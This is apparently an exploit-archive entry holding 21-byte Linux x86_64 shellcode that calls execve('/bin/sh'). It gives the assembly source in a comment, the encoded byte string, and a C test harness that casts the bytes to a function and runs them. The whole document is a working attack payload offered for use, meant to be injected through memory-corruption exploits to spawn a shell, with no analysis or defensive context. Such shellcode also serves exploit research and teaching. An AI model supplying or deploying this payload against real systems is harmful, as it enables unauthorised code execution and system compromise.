21 bytes small Linux x86_64 execve(/bin/sh) shellcode.
bade4240797a316204c40812a27ac5a0/*
; Title : execve(/bin/sh) - Shellcode
; Author : Hashim Jawad @ihack4falafel
; OS : Linux kali 4.15.0-kali2-amd64 #1 SMP Debian 4.15.11-1kali1 (2018-03-21) x86_64 GNU/Linux
; Arch : x86_64
; Size : 21 bytes
section .text
global _start
_start:
push rax
cdq
push rdx
pop rsi
mov rbx,'/bin//sh'
push rbx
push rsp
pop rdi
mov al, 59
syscall
*/
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x50\x99\x52\x5e\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05";
main()
{
printf("Shellcode Length: %d\n", (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();
}